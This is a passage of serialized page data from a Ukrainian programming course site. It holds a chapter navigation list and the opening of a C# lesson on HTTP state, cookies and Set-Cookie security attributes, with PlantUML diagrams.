області","\u002Fddd\u002Fmanaging-domain-complexity","10.ddd\u002F03.managing-domain-complexity",{"title":2969,"path":2970,"stem":2971},"Інтеграція обмежених контекстів","\u002Fddd\u002Fbounded-context-integration","10.ddd\u002F04.bounded-context-integration",{"title":2973,"path":2974,"stem":2975},"Реалізація простої бізнес-логіки","\u002Fddd\u002Fsimple-business-logic","10.ddd\u002F05.simple-business-logic",{"title":2977,"path":2978,"stem":2979},"Обробка складної бізнес-логіки","\u002Fddd\u002Fcomplex-business-logic","10.ddd\u002F06.complex-business-logic",{"title":2981,"path":2982,"stem":2983},"Моделювання фактора часу","\u002Fddd\u002Ftime-modeling","10.ddd\u002F07.time-modeling",{"title":2985,"path":2986,"stem":2987},"Глава 8. Архітектурні Патерни","\u002Fddd\u002Farchitectural-patterns","10.ddd\u002F08.architectural-patterns",{"title":2989,"path":2990,"stem":2991},"Глава 9. Патерни Взаємодії","\u002Fddd\u002Finteraction-patterns","10.ddd\u002F09.interaction-patterns",{"title":2993,"path":2994,"stem":2995},"Глава 10. Проектні Евристики","\u002Fddd\u002Fdesign-heuristics","10.ddd\u002F10.design-heuristics",{"title":2997,"path":2998,"stem":2999},"Глава 11. Еволюція Проектних Рішень","\u002Fddd\u002Fevolution-of-design-decisions","10.ddd\u002F11.evolution-of-design-decisions",{"title":3001,"path":3002,"stem":3003},"Глава 12. EventStorming","\u002Fddd\u002Fevent-storming","10.ddd\u002F12.event-storming",{"title":3005,"path":3006,"stem":3007},"Глава 13. DDD на Практиці","\u002Fddd\u002Fddd-in-practice","10.ddd\u002F13.ddd-in-practice",{"title":3009,"icon":3010,"path":3011,"stem":3012,"children":3013,"page":59},"Media Streaming","i-lucide-video","\u002Fmedia-streaming","11.media-streaming",[3014,3018,3022,3026,3030,3034,3038],{"title":3015,"path":3016,"stem":3017},"01. Магія Стрімінгу: Що відбувається, коли ви натискаєте \"Play\"","\u002Fmedia-streaming\u002Fintroduction","11.media-streaming\u002F01.introduction",{"title":3019,"path":3020,"stem":3021},"02. Анатомія Медіа: Кодеки, Контейнери та Стиснення","\u002Fmedia-streaming\u002Faudio-video-anatomy","11.media-streaming\u002F02.audio-video-anatomy",{"title":3023,"path":3024,"stem":3025},"03. The Gym: FFmpeg Deep Dive","\u002Fmedia-streaming\u002Fffmpeg-gym","11.media-streaming\u002F03.ffmpeg-gym",{"title":3027,"path":3028,"stem":3029},"04. HLS Protocol: HTTP Live Streaming у Деталях","\u002Fmedia-streaming\u002Fhls-protocol","11.media-streaming\u002F04.hls-protocol",{"title":3031,"path":3032,"stem":3033},"05. DASH Protocol: Відкритий Стандарт","\u002Fmedia-streaming\u002Fdash-protocol","11.media-streaming\u002F05.dash-protocol",{"title":3035,"path":3036,"stem":3037},"06. Масштабування: CDN та Adaptive Bitrate","\u002Fmedia-streaming\u002Fcdn-and-adaptive-bitrate","11.media-streaming\u002F06.cdn-and-adaptive-bitrate",{"title":3039,"path":3040,"stem":3041},"07. Війна із Затримкою (Latency)","\u002Fmedia-streaming\u002Frealtime-latency","11.media-streaming\u002F07.realtime-latency",{"title":3043,"icon":3044,"path":3045,"stem":3046,"children":3047,"page":59},"HTML & CSS","i-devicon-html5","\u002Fhtml-css","12.html-css",[3048,3052,3056,3060,3064,3068,3072,3076,3080,3084,3088,3092,3096,3100,3104,3108,3112,3116,3120,3124,3128,3132,3136,3140,3144,3148,3152,3156,3160,3164],{"title":3049,"path":3050,"stem":3051},"Вступ до HTML. Структура документа","\u002Fhtml-css\u002Fintro-html-structure","12.html-css\u002F01.intro-html-structure",{"title":3053,"path":3054,"stem":3055},"Форматування тексту в HTML","\u002Fhtml-css\u002Fhtml-text-formatting","12.html-css\u002F02.html-text-formatting",{"title":3057,"path":3058,"stem":3059},"Посилання та зображення в HTML","\u002Fhtml-css\u002Fhtml-links-images","12.html-css\u002F03.html-links-images",{"title":3061,"path":3062,"stem":3063},"Списки та таблиці в HTML","\u002Fhtml-css\u002Fhtml-lists-tables","12.html-css\u002F04.html-lists-tables",{"title":3065,"path":3066,"stem":3067},"Форми в HTML","\u002Fhtml-css\u002Fhtml-forms","12.html-css\u002F05.html-forms",{"title":3069,"path":3070,"stem":3071},"Семантичні елементи HTML5","\u002Fhtml-css\u002Fhtml-semantic-elements","12.html-css\u002F06.html-semantic-elements",{"title":3073,"path":3074,"stem":3075},"Мультимедіа та розширені елементи HTML","\u002Fhtml-css\u002Fhtml-multimedia-advanced","12.html-css\u002F07.html-multimedia-advanced",{"title":3077,"path":3078,"stem":3079},"Мікророзмітка та SEO в HTML","\u002Fhtml-css\u002Fhtml-microdata-seo","12.html-css\u002F08.html-microdata-seo",{"title":3081,"path":3082,"stem":3083},"Вступ до CSS. Селектори та специфічність","\u002Fhtml-css\u002Fcss-intro-selectors","12.html-css\u002F09.css-intro-selectors",{"title":3085,"path":3086,"stem":3087},"Блокова модель CSS. Відступи. Box Sizing","\u002Fhtml-css\u002Fcss-box-model","12.html-css\u002F10.css-box-model",{"title":3089,"path":3090,"stem":3091},"Розміри у CSS: повний довідник одиниць і ключових слів","\u002Fhtml-css\u002F10a.css-sizing","12.html-css\u002F10a.css-sizing",{"title":3093,"path":3094,"stem":3095},"Типографіка в CSS. Шрифти та текст","\u002Fhtml-css\u002Fcss-typography","12.html-css\u002F11.css-typography",{"title":3097,"path":3098,"stem":3099},"Кольори та фони в CSS","\u002Fhtml-css\u002Fcss-colors-backgrounds","12.html-css\u002F12.css-colors-backgrounds",{"title":3101,"path":3102,"stem":3103},"Тіні та фільтри в CSS","\u002Fhtml-css\u002F12b.css-shadows-filters","12.html-css\u002F12b.css-shadows-filters",{"title":3105,"path":3106,"stem":3107},"CSS Flexbox: Фундамент гнучких макетів","\u002Fhtml-css\u002Fcss-flexbox-fundamentals","12.html-css\u002F13.css-flexbox-fundamentals",{"title":3109,"path":3110,"stem":3111},"CSS Flexbox: Вирівнювання та Позиціонування","\u002Fhtml-css\u002Fcss-flexbox-alignment-sizing-and-patterns","12.html-css\u002F14.css-flexbox-alignment-sizing-and-patterns",{"title":3113,"path":3114,"stem":3115},"CSS Grid. Двовимірний макет. Частина 1","\u002Fhtml-css\u002Fcss-layout-grid","12.html-css\u002F15.css-layout-grid",{"title":3117,"path":3118,"stem":3119},"CSS Grid. Двовимірний макет. Частина 2","\u002Fhtml-css\u002Fcss-layout-grid-advanced","12.html-css\u002F16.css-layout-grid-advanced",{"title":3121,"path":3122,"stem":3123},"Позиціонування в CSS. Z-index. Stacking Context","\u002Fhtml-css\u002Fcss-positioning","12.html-css\u002F17.css-positioning",{"title":3125,"path":3126,"stem":3127},"CSS Анімації та Переходи","\u002Fhtml-css\u002Fcss-animations-transitions","12.html-css\u002F18.css-animations-transitions",{"title":3129,"path":3130,"stem":3131},"Адаптивний дизайн. Media Queries. Частина 1","\u002Fhtml-css\u002Fcss-responsive-media-queries","12.html-css\u002F19.css-responsive-media-queries",{"title":3133,"path":3134,"stem":3135},"Адаптивний дизайн. Частина 2: clamp(), Container Queries, @layer","\u002Fhtml-css\u002Fcss-responsive-advanced","12.html-css\u002F20.css-responsive-advanced",{"title":3137,"path":3138,"stem":3139},"CSS Custom Properties. Методології. Сучасний CSS","\u002Fhtml-css\u002Fcss-variables-methodologies","12.html-css\u002F21.css-variables-methodologies",{"title":3141,"path":3142,"stem":3143},"Сучасний CSS 2023–2025: Нові можливості","\u002Fhtml-css\u002Fcss-modern-features","12.html-css\u002F22.css-modern-features",{"title":3145,"path":3146,"stem":3147},"CSS Nesting, @layer, @scope та @property: нативний препроцесор","\u002Fhtml-css\u002F22a.css-nesting-modern-syntax","12.html-css\u002F22a.css-nesting-modern-syntax",{"title":3149,"path":3150,"stem":3151},"CSS для форм та інтерактивних станів","\u002Fhtml-css\u002Fcss-forms-interactive-states","12.html-css\u002F23.css-forms-interactive-states",{"title":3153,"path":3154,"stem":3155},"Доступність у CSS (CSS Accessibility)","\u002Fhtml-css\u002Fcss-accessibility","12.html-css\u002F24.css-accessibility",{"title":3157,"path":3158,"stem":3159},"CSS-функції та сучасні sizing primitives","\u002Fhtml-css\u002Fcss-functions-sizing","12.html-css\u002F25.css-functions-sizing",{"title":3161,"path":3162,"stem":3163},"Rendering Pipeline і CSS Performance","\u002Fhtml-css\u002Fcss-rendering-performance","12.html-css\u002F26.css-rendering-performance",{"title":3165,"path":3166,"stem":3167},"CSS Best Practices: типові ситуації та правильні рішення","\u002Fhtml-css\u002Fcss-best-practices","12.html-css\u002F27.css-best-practices",{"title":3169,"path":3170,"stem":3171,"children":3172,"page":59},"AWS","\u002Faws","13.aws",[3173,3177,3181,3185,3189,3193,3197,3201,3205,3209,3213,3217,3221,3225,3229,3233,3237,3241],{"title":3174,"path":3175,"stem":3176},"Реєстрація AWS акаунту та студентські програми","\u002Faws\u002Faccount-registration","13.aws\u002F00.account-registration",{"title":3178,"path":3179,"stem":3180},"Вступ до хмарних обчислень та AWS","\u002Faws\u002Fintroduction-to-cloud","13.aws\u002F01.introduction-to-cloud",{"title":3182,"path":3183,"stem":3184},"AWS IAM — Identity and Access Management","\u002Faws\u002Fiam","13.aws\u002F02.iam",{"title":3186,"path":3187,"stem":3188},"AWS IAM CLI — Довідник команд","\u002Faws\u002F02a.iam-doc","13.aws\u002F02a.iam-doc",{"title":3190,"path":3191,"stem":3192},"Docker та контейнеризація в AWS — ECR, ECS та Fargate","\u002Faws\u002Fdocker-ecs","13.aws\u002F03.docker-ecs",{"title":3194,"path":3195,"stem":3196},"AWS ECR \u002F ECS CLI — Довідник команд","\u002Faws\u002F03a.docker-ecs-doc","13.aws\u002F03a.docker-ecs-doc",{"title":3198,"path":3199,"stem":3200},"Amazon EC2 — Elastic Compute Cloud","\u002Faws\u002Fec2","13.aws\u002F04.ec2",{"title":3202,"path":3203,"stem":3204},"AWS EC2 CLI — Довідник команд","\u002Faws\u002F04a.ec2-doc","13.aws\u002F04a.ec2-doc",{"title":3206,"path":3207,"stem":3208},"Elastic Load Balancing та Auto Scaling","\u002Faws\u002Falb-asg","13.aws\u002F05.alb-asg",{"title":3210,"path":3211,"stem":3212},"Amazon S3 — Simple Storage Service","\u002Faws\u002Fs3","13.aws\u002F06.s3",{"title":3214,"path":3215,"stem":3216},"Amazon CloudFront — Content Delivery Network","\u002Faws\u002Fcloudfront","13.aws\u002F07.cloudfront",{"title":3218,"path":3219,"stem":3220},"Amazon RDS — Relational Database Service","\u002Faws\u002Frds","13.aws\u002F08.rds",{"title":3222,"path":3223,"stem":3224},"Amazon DynamoDB — NoSQL Database","\u002Faws\u002Fdynamodb","13.aws\u002F09.dynamodb",{"title":3226,"path":3227,"stem":3228},"AWS Lambda та Serverless Compute","\u002Faws\u002Flambda","13.aws\u002F10.lambda",{"title":3230,"path":3231,"stem":3232},"Amazon Bedrock - Foundation Models, RAG та Agents","\u002Faws\u002Fbedrock","13.aws\u002F22.bedrock",{"title":3234,"path":3235,"stem":3236},"Amazon Rekognition - Комп'ютерний зір","\u002Faws\u002Frekognition","13.aws\u002F23.rekognition",{"title":3238,"path":3239,"stem":3240},"Amazon Textract - Інтелектуальний аналіз документів","\u002Faws\u002Ftextract","13.aws\u002F24.textract",{"title":3242,"path":3243,"stem":3244},"Amazon Polly, Transcribe, Comprehend та Translate","\u002Faws\u002Faudio-nlp-services","13.aws\u002F25.audio-nlp-services",{"title":3246,"path":3247,"stem":3248,"children":3249,"page":59},"Tailwind","\u002Ftailwind","21.tailwind",[3250,3254,3258,3262,3266,3270,3274,3278,3282,3286,3290,3294],{"title":3251,"path":3252,"stem":3253},"Що таке Tailwind CSS і навіщо він потрібен","\u002Ftailwind\u002Ftailwind-intro-philosophy","21.tailwind\u002F01.tailwind-intro-philosophy",{"title":3255,"path":3256,"stem":3257},"Встановлення та налаштування Tailwind CSS v4","\u002Ftailwind\u002Ftailwind-installation-setup","21.tailwind\u002F02.tailwind-installation-setup",{"title":3259,"path":3260,"stem":3261},"Utility-класи: основи та система Tailwind","\u002Ftailwind\u002Ftailwind-utility-classes-core","21.tailwind\u002F03.tailwind-utility-classes-core",{"title":3263,"path":3264,"stem":3265},"Layout: Flexbox та Grid через Tailwind","\u002Ftailwind\u002Ftailwind-flexbox-grid","21.tailwind\u002F04.tailwind-flexbox-grid",{"title":3267,"path":3268,"stem":3269},"Кастомізація теми через @theme у Tailwind v4","\u002Ftailwind\u002Ftailwind-theme-customization","21.tailwind\u002F05.tailwind-theme-customization",{"title":3271,"path":3272,"stem":3273},"Варіанти: hover, focus, responsive, dark mode та нові v4","\u002Ftailwind\u002Ftailwind-variants-states","21.tailwind\u002F06.tailwind-variants-states",{"title":3275,"path":3276,"stem":3277},"Типографіка та система кольорів у Tailwind v4","\u002Ftailwind\u002Ftailwind-typography-colors","21.tailwind\u002F07.tailwind-typography-colors",{"title":3279,"path":3280,"stem":3281},"Компоненти та повторюваність: @apply, @utility та патерни","\u002Ftailwind\u002Ftailwind-components-patterns","21.tailwind\u002F08.tailwind-components-patterns",{"title":3283,"path":3284,"stem":3285},"Темна тема та система дизайн-токенів у Tailwind v4","\u002Ftailwind\u002Ftailwind-dark-mode-theming","21.tailwind\u002F09.tailwind-dark-mode-theming",{"title":3287,"path":3288,"stem":3289},"Довільні значення та контейнерні запити у Tailwind v4","\u002Ftailwind\u002Ftailwind-arbitrary-container-queries","21.tailwind\u002F10.tailwind-arbitrary-container-queries",{"title":3291,"path":3292,"stem":3293},"Анімації, трансформації та 3D у Tailwind v4","\u002Ftailwind\u002Ftailwind-animations-transforms","21.tailwind\u002F11.tailwind-animations-transforms",{"title":3295,"path":3296,"stem":3297},"Tailwind CLI, PostCSS та інтеграція з фреймворками","\u002Ftailwind\u002Ftailwind-cli-tooling","21.tailwind\u002F12.tailwind-cli-tooling",{"title":3299,"path":3300,"stem":3301},"Тестування компонентів діаграм","\u002Ftest-components","98.test-components",{"id":3303,"title":1688,"body":3304,"description":22029,"extension":22030,"links":22031,"meta":22032,"navigation":3457,"path":1689,"seo":22033,"stem":1690,"__hash__":22034},"docs\u002F01.csharp\u002F13.network-programming\u002F08.http-advanced.md",{"type":3305,"value":3306,"toc":21950},"minimark",[3307,3311,3316,3325,3332,3335,3342,3345,3419,3646,3649,3653,3658,3671,3678,3685,3708,3712,3903,3909,3928,4457,4612,4643,4685,4709,4712,4714,4718,4722,6037,6041,6055,6178,6193,6195,6199,6202,6309,6311,6315,6322,6535,6539,6548,6662,6667,6671,6680,6686,6700,7062,7066,7077,7083,7096,7098,7102,7108,7122,7126,7135,7310,7316,7404,7410,7420,7424,7519,7527,7531,7537,7551,7555,7651,7656,7676,8497,8499,8503,8510,8517,8585,8590,8759,8772,8776,9145,9149,9152,9272,9276,9283,9289,9291,9295,9299,9312,9318,9373,9377,9380,9386,9396,9400,9470,9474,9481,9642,9648,9668,9672,9838,9842,9937,9941,9950,9965,10009,10022,10154,10158,10165,10175,10179,10920,10922,10926,10937,10941,11156,11160,11547,11549,11553,11557,11560,11564,11725,11729,11740,11744,11855,11859,11919,11923,11938,11953,11956,11960,12026,12040,12046,12050,12057,12061,12070,12184,12188,12191,12290,12359,12364,12386,13035,13037,13041,13045,13055,13059,13070,13084,13087,13091,13167,13212,13215,13271,13275,13281,13344,13363,13838,13842,14126,14131,14196,14202,14204,14208,14212,14219,14224,14310,14323,14327,14333,14361,14371,14400,14527,14531,14538,14543,14581,14586,14611,14628,14632,14696,14700,14802,14806,14819,15337,15339,15343,15347,15435,15528,15547,15551,15577,16117,16119,16123,16126,16130,16369,16373,16706,16710,18101,18105,18822,18870,18872,18876,18879,18883,18940,18944,19050,19054,19126,19133,19135,19139,19242,19249,19251,19255,19258,19262,19300,19313,19317,21844,21946],[3308,3309,1688],"h1",{"id":3310},"http-advanced-cookies-аутентифікація-та-https",[3312,3313,3315],"h2",{"id":3314},"від-теорії-до-практики-проблема-stateless","Від теорії до практики: проблема stateless",[3317,3318,3319,3320,3324],"p",{},"У попередньому розділі ми з'ясували, що HTTP є ",[3321,3322,3323],"strong",{},"stateless"," протоколом — сервер не зберігає жодної інформації між запитами. Кожен запит є ізольованим і повністю незалежним від попередніх.",[3317,3326,3327,3328,3331],{},"Ця властивість забезпечує видатну ",[3321,3329,3330],{},"масштабованість",": будь-який сервер у кластері може обробити будь-який запит, не знаючи нічого про попередні взаємодії з клієнтом. Але вона ж породжує фундаментальну проблему реального вебу.",[3317,3333,3334],{},"Уявіть сценарій: користувач вводить логін і пароль. Наступний запит — відкриває особистий кабінет. Ще один — оформлює замовлення. Як сервер знає, що всі три запити — від одного і того самого аутентифікованого користувача, якщо HTTP не зберігає стан?",[3336,3337,3338,3341],"note",{},[3321,3339,3340],{},"Ключова ідея цього розділу:"," Stateless протокол + механізми передачі стану (cookies, токени) = реальний вебзастосунок. Всі механізми «стану» в HTTP — це лише угоди між клієнтом і сервером про передачу певного ідентифікатора з кожним запитом.",[3317,3343,3344],{},"Існує три принципово різних підходи до вирішення проблеми стану:",[3346,3347,3348,3367],"table",{},[3349,3350,3351],"thead",{},[3352,3353,3354,3358,3361,3364],"tr",{},[3355,3356,3357],"th",{},"Механізм",[3355,3359,3360],{},"Де зберігається ідентифікатор",[3355,3362,3363],{},"Хто надсилає",[3355,3365,3366],{},"Захист",[3368,3369,3370,3387,3403],"tbody",{},[3352,3371,3372,3378,3381,3384],{},[3373,3374,3375],"td",{},[3321,3376,3377],{},"Session Cookie",[3373,3379,3380],{},"Браузер (cookie jar)",[3373,3382,3383],{},"Браузер автоматично",[3373,3385,3386],{},"HttpOnly, Secure, SameSite",[3352,3388,3389,3394,3397,3400],{},[3373,3390,3391],{},[3321,3392,3393],{},"Bearer Token (JWT)",[3373,3395,3396],{},"Застосунок (memory\u002Fstorage)",[3373,3398,3399],{},"Вручну в заголовку",[3373,3401,3402],{},"HTTPS, short expiry",[3352,3404,3405,3410,3413,3416],{},[3373,3406,3407],{},[3321,3408,3409],{},"URL-параметр",[3373,3411,3412],{},"URL-рядок",[3373,3414,3415],{},"Вручну",[3373,3417,3418],{},"❌ Логується, кешується",[3420,3421,3422],"plant-uml",{},[3423,3424,3429],"pre",{"className":3425,"code":3426,"language":3427,"meta":3428,"style":3428},"language-plantuml shiki shiki-themes light-plus dark-plus dark-plus","@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nactor \"Користувач\" as user\nparticipant \"Браузер\" as browser #e3f2fd\nparticipant \"Сервер\" as server #e8f5e9\n\n== Запит 1: Вхід ==\nuser -> browser : Введено логін і пароль\nbrowser -> server : POST \u002Flogin\\n{\"user\":\"alice\",\"pass\":\"...\"}\nserver --> browser : 200 OK\\nSet-Cookie: session=abc123\n\nnote right of server\n  Сервер запам'ятав:\n  session \"abc123\" → Alice\nend note\n\n== Запит 2: Особистий кабінет ==\nbrowser -> server : GET \u002Fdashboard\\nCookie: session=abc123\nserver --> browser : 200 OK\\n\u003Chtml>Вітаємо, Alice!\u003C\u002Fhtml>\n\nnote right of server\n  Сервер впізнав Alice\n  по session cookie\nend note\n\n== Без cookies (stateless!) ==\nbrowser -> server : GET \u002Fdashboard\\n(без Cookie)\nserver --> browser : 401 Unauthorized\n\nnote right of server\n  Хто це? Невідомо.\n  Stateless = немає пам'яті.\nend note\n\n@enduml\n","plantuml","",[3430,3431,3432,3440,3446,3452,3459,3465,3471,3477,3482,3488,3494,3500,3506,3511,3517,3523,3529,3535,3540,3546,3552,3558,3563,3568,3574,3580,3585,3590,3596,3602,3608,3613,3618,3624,3630,3635,3640],"code",{"__ignoreMap":3428},[3433,3434,3437],"span",{"class":3435,"line":3436},"line",1,[3433,3438,3439],{},"@startuml\n",[3433,3441,3443],{"class":3435,"line":3442},2,[3433,3444,3445],{},"skinparam style plain\n",[3433,3447,3449],{"class":3435,"line":3448},3,[3433,3450,3451],{},"skinparam backgroundColor #ffffff\n",[3433,3453,3455],{"class":3435,"line":3454},4,[3433,3456,3458],{"emptyLinePlaceholder":3457},true,"\n",[3433,3460,3462],{"class":3435,"line":3461},5,[3433,3463,3464],{},"actor \"Користувач\" as user\n",[3433,3466,3468],{"class":3435,"line":3467},6,[3433,3469,3470],{},"participant \"Браузер\" as browser #e3f2fd\n",[3433,3472,3474],{"class":3435,"line":3473},7,[3433,3475,3476],{},"participant \"Сервер\" as server #e8f5e9\n",[3433,3478,3480],{"class":3435,"line":3479},8,[3433,3481,3458],{"emptyLinePlaceholder":3457},[3433,3483,3485],{"class":3435,"line":3484},9,[3433,3486,3487],{},"== Запит 1: Вхід ==\n",[3433,3489,3491],{"class":3435,"line":3490},10,[3433,3492,3493],{},"user -> browser : Введено логін і пароль\n",[3433,3495,3497],{"class":3435,"line":3496},11,[3433,3498,3499],{},"browser -> server : POST \u002Flogin\\n{\"user\":\"alice\",\"pass\":\"...\"}\n",[3433,3501,3503],{"class":3435,"line":3502},12,[3433,3504,3505],{},"server --> browser : 200 OK\\nSet-Cookie: session=abc123\n",[3433,3507,3509],{"class":3435,"line":3508},13,[3433,3510,3458],{"emptyLinePlaceholder":3457},[3433,3512,3514],{"class":3435,"line":3513},14,[3433,3515,3516],{},"note right of server\n",[3433,3518,3520],{"class":3435,"line":3519},15,[3433,3521,3522],{},"  Сервер запам'ятав:\n",[3433,3524,3526],{"class":3435,"line":3525},16,[3433,3527,3528],{},"  session \"abc123\" → Alice\n",[3433,3530,3532],{"class":3435,"line":3531},17,[3433,3533,3534],{},"end note\n",[3433,3536,3538],{"class":3435,"line":3537},18,[3433,3539,3458],{"emptyLinePlaceholder":3457},[3433,3541,3543],{"class":3435,"line":3542},19,[3433,3544,3545],{},"== Запит 2: Особистий кабінет ==\n",[3433,3547,3549],{"class":3435,"line":3548},20,[3433,3550,3551],{},"browser -> server : GET \u002Fdashboard\\nCookie: session=abc123\n",[3433,3553,3555],{"class":3435,"line":3554},21,[3433,3556,3557],{},"server --> browser : 200 OK\\n\u003Chtml>Вітаємо, Alice!\u003C\u002Fhtml>\n",[3433,3559,3561],{"class":3435,"line":3560},22,[3433,3562,3458],{"emptyLinePlaceholder":3457},[3433,3564,3566],{"class":3435,"line":3565},23,[3433,3567,3516],{},[3433,3569,3571],{"class":3435,"line":3570},24,[3433,3572,3573],{},"  Сервер впізнав Alice\n",[3433,3575,3577],{"class":3435,"line":3576},25,[3433,3578,3579],{},"  по session cookie\n",[3433,3581,3583],{"class":3435,"line":3582},26,[3433,3584,3534],{},[3433,3586,3588],{"class":3435,"line":3587},27,[3433,3589,3458],{"emptyLinePlaceholder":3457},[3433,3591,3593],{"class":3435,"line":3592},28,[3433,3594,3595],{},"== Без cookies (stateless!) ==\n",[3433,3597,3599],{"class":3435,"line":3598},29,[3433,3600,3601],{},"browser -> server : GET \u002Fdashboard\\n(без Cookie)\n",[3433,3603,3605],{"class":3435,"line":3604},30,[3433,3606,3607],{},"server --> browser : 401 Unauthorized\n",[3433,3609,3611],{"class":3435,"line":3610},31,[3433,3612,3458],{"emptyLinePlaceholder":3457},[3433,3614,3616],{"class":3435,"line":3615},32,[3433,3617,3516],{},[3433,3619,3621],{"class":3435,"line":3620},33,[3433,3622,3623],{},"  Хто це? Невідомо.\n",[3433,3625,3627],{"class":3435,"line":3626},34,[3433,3628,3629],{},"  Stateless = немає пам'яті.\n",[3433,3631,3633],{"class":3435,"line":3632},35,[3433,3634,3534],{},[3433,3636,3638],{"class":3435,"line":3637},36,[3433,3639,3458],{"emptyLinePlaceholder":3457},[3433,3641,3643],{"class":3435,"line":3642},37,[3433,3644,3645],{},"@enduml\n",[3647,3648],"hr",{},[3312,3650,3652],{"id":3651},"cookies-механізм-передачі-стану","Cookies: механізм передачі стану",[3654,3655,3657],"h3",{"id":3656},"що-таке-cookie","Що таке cookie",[3317,3659,3660,3663,3664,3667,3668,3670],{},[3321,3661,3662],{},"Cookie"," (HTTP Cookie, RFC 6265) — це невеликий фрагмент даних, який сервер надсилає браузеру у заголовку ",[3430,3665,3666],{},"Set-Cookie",", і браузер автоматично відправляє назад з кожним наступним запитом до того самого домену через заголовок ",[3430,3669,3662],{},".",[3317,3672,3673,3674,3677],{},"Cookies — це ",[3321,3675,3676],{},"не безпечне сховище"," і не база даних. Це лише механізм, що дозволяє серверу «наклеїти мітку» на браузер клієнта і потім розпізнавати його у наступних запитах.",[3317,3679,3680,3681,3684],{},"Браузер зберігає cookies у ",[3321,3682,3683],{},"cookie jar"," — приватній базі даних. Обмеження за специфікацією RFC 6265:",[3686,3687,3688,3696,3702],"ul",{},[3689,3690,3691,3692,3695],"li",{},"Не більше ",[3321,3693,3694],{},"4096 байт"," на один cookie (ім'я + значення + атрибути)",[3689,3697,3691,3698,3701],{},[3321,3699,3700],{},"50 cookies"," на домен",[3689,3703,3691,3704,3707],{},[3321,3705,3706],{},"3000 cookies"," загалом у браузері",[3654,3709,3711],{"id":3710},"анатомія-set-cookie","Анатомія Set-Cookie",[3420,3713,3714],{},[3423,3715,3717],{"className":3425,"code":3716,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nrectangle \"Set-Cookie Header\" #fff3e0 {\n    rectangle \"Name=Value\\nsession=abc123xyz\" as nv #ffe0b2\n    rectangle \"Domain\\n.example.com\" as domain #e3f2fd\n    rectangle \"Path\\n\u002F\" as path #e3f2fd\n    rectangle \"Max-Age\\n3600\" as maxage #e8f5e9\n    rectangle \"Secure\" as secure #fce4ec\n    rectangle \"HttpOnly\" as httponly #fce4ec\n    rectangle \"SameSite\\nLax\" as samesite #f3e5f5\n\n    nv -[hidden]right-> domain\n    domain -[hidden]right-> path\n    path -[hidden]right-> maxage\n    maxage -[hidden]down-> secure\n    secure -[hidden]right-> httponly\n    httponly -[hidden]right-> samesite\n}\n\nnote bottom of secure\n  Лише по HTTPS.\n  Захист від\n  перехоплення.\nend note\n\nnote bottom of httponly\n  Недоступний через\n  document.cookie.\n  Захист від XSS.\nend note\n\nnote bottom of samesite\n  Strict \u002F Lax \u002F None.\n  Захист від CSRF.\nend note\n\n@enduml\n",[3430,3718,3719,3723,3727,3731,3735,3740,3745,3750,3755,3760,3765,3770,3775,3779,3784,3789,3794,3799,3804,3809,3814,3818,3823,3828,3833,3838,3842,3846,3851,3856,3861,3866,3870,3874,3879,3884,3889,3893,3898],{"__ignoreMap":3428},[3433,3720,3721],{"class":3435,"line":3436},[3433,3722,3439],{},[3433,3724,3725],{"class":3435,"line":3442},[3433,3726,3445],{},[3433,3728,3729],{"class":3435,"line":3448},[3433,3730,3451],{},[3433,3732,3733],{"class":3435,"line":3454},[3433,3734,3458],{"emptyLinePlaceholder":3457},[3433,3736,3737],{"class":3435,"line":3461},[3433,3738,3739],{},"rectangle \"Set-Cookie Header\" #fff3e0 {\n",[3433,3741,3742],{"class":3435,"line":3467},[3433,3743,3744],{},"    rectangle \"Name=Value\\nsession=abc123xyz\" as nv #ffe0b2\n",[3433,3746,3747],{"class":3435,"line":3473},[3433,3748,3749],{},"    rectangle \"Domain\\n.example.com\" as domain #e3f2fd\n",[3433,3751,3752],{"class":3435,"line":3479},[3433,3753,3754],{},"    rectangle \"Path\\n\u002F\" as path #e3f2fd\n",[3433,3756,3757],{"class":3435,"line":3484},[3433,3758,3759],{},"    rectangle \"Max-Age\\n3600\" as maxage #e8f5e9\n",[3433,3761,3762],{"class":3435,"line":3490},[3433,3763,3764],{},"    rectangle \"Secure\" as secure #fce4ec\n",[3433,3766,3767],{"class":3435,"line":3496},[3433,3768,3769],{},"    rectangle \"HttpOnly\" as httponly #fce4ec\n",[3433,3771,3772],{"class":3435,"line":3502},[3433,3773,3774],{},"    rectangle \"SameSite\\nLax\" as samesite #f3e5f5\n",[3433,3776,3777],{"class":3435,"line":3508},[3433,3778,3458],{"emptyLinePlaceholder":3457},[3433,3780,3781],{"class":3435,"line":3513},[3433,3782,3783],{},"    nv -[hidden]right-> domain\n",[3433,3785,3786],{"class":3435,"line":3519},[3433,3787,3788],{},"    domain -[hidden]right-> path\n",[3433,3790,3791],{"class":3435,"line":3525},[3433,3792,3793],{},"    path -[hidden]right-> maxage\n",[3433,3795,3796],{"class":3435,"line":3531},[3433,3797,3798],{},"    maxage -[hidden]down-> secure\n",[3433,3800,3801],{"class":3435,"line":3537},[3433,3802,3803],{},"    secure -[hidden]right-> httponly\n",[3433,3805,3806],{"class":3435,"line":3542},[3433,3807,3808],{},"    httponly -[hidden]right-> samesite\n",[3433,3810,3811],{"class":3435,"line":3548},[3433,3812,3813],{},"}\n",[3433,3815,3816],{"class":3435,"line":3554},[3433,3817,3458],{"emptyLinePlaceholder":3457},[3433,3819,3820],{"class":3435,"line":3560},[3433,3821,3822],{},"note bottom of secure\n",[3433,3824,3825],{"class":3435,"line":3565},[3433,3826,3827],{},"  Лише по HTTPS.\n",[3433,3829,3830],{"class":3435,"line":3570},[3433,3831,3832],{},"  Захист від\n",[3433,3834,3835],{"class":3435,"line":3576},[3433,3836,3837],{},"  перехоплення.\n",[3433,3839,3840],{"class":3435,"line":3582},[3433,3841,3534],{},[3433,3843,3844],{"class":3435,"line":3587},[3433,3845,3458],{"emptyLinePlaceholder":3457},[3433,3847,3848],{"class":3435,"line":3592},[3433,3849,3850],{},"note bottom of httponly\n",[3433,3852,3853],{"class":3435,"line":3598},[3433,3854,3855],{},"  Недоступний через\n",[3433,3857,3858],{"class":3435,"line":3604},[3433,3859,3860],{},"  document.cookie.\n",[3433,3862,3863],{"class":3435,"line":3610},[3433,3864,3865],{},"  Захист від XSS.\n",[3433,3867,3868],{"class":3435,"line":3615},[3433,3869,3534],{},[3433,3871,3872],{"class":3435,"line":3620},[3433,3873,3458],{"emptyLinePlaceholder":3457},[3433,3875,3876],{"class":3435,"line":3626},[3433,3877,3878],{},"note bottom of 